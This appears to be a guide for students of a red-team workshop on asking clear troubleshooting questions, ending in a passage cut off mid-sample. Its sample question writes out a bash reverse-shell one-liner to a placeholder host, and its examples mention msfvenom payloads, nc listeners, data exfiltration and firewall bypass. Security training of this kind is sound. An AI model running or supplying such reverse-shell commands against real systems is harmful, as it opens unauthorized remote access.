

Guide on Asking Effective Questions for the Red Team Workshop

In the Red Team Workshop, encountering errors is part of the learning process. Instead of immediately seeking solutions, use this guide to ask effective and structured questions. It will help you identify issues and learn more effectively.

1. Clearly Define the Problem

- What's the issue?
Explain what's not working or where you're stuck. Include specific symptoms, error messages, or results.
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2. Specify Your Goal

- What are you trying to achieve?
Share your objective, such as getting a reverse shell, exfiltrating data, or bypassing a firewall.
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3. Explain What You've Tried

- What steps have you already taken?
Outline your attempts to troubleshoot or solve the problem. This shows effort and avoids repeating solutions.
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4. Provide Context

- What is your setup?
Share relevant details like:
 - Tools, versions, or scripts used (e.g., nc, msfvenom, custom payload).
 - The environment (e.g., target OS, network topology).
 - Any configurations (e.g., open ports, firewall rules, or AV settings).
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5. Describe Your Observations

- What did you notice?
Include observations like partial success (e.g., a connection attempt logged on the target) or new errors encountered.
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6. Highlight Assumptions or Gaps

- What do you suspect might be wrong?
Share your understanding of the problem and what you think could be the root cause.

7. Formulate a Specific Question

- Avoid general questions like, **“Why doesn’t it work?”**

Instead, ask something like:

“I’ve set up a listener on nc and generated a reverse shell payload using msfvenom. The payload runs without errors, but I don’t see any connection to my listener. Could the issue be related to the firewall or incorrect payload encoding?”

Sample Question

I’m trying to get a reverse shell using `bash -i >& /dev/tcp/<IP>/<port> 0>&1`. The command executes without error on the target, but no connection appears on my listener.

- My goal is to establish a stable reverse shell.
- I’ve verified the IP and port are correct, and there’s no firewall blocking the connection.
- I also tested connectivity with ping and nc.
Could the problem be related to the bash version on the target, or am I missing an alternative payload forma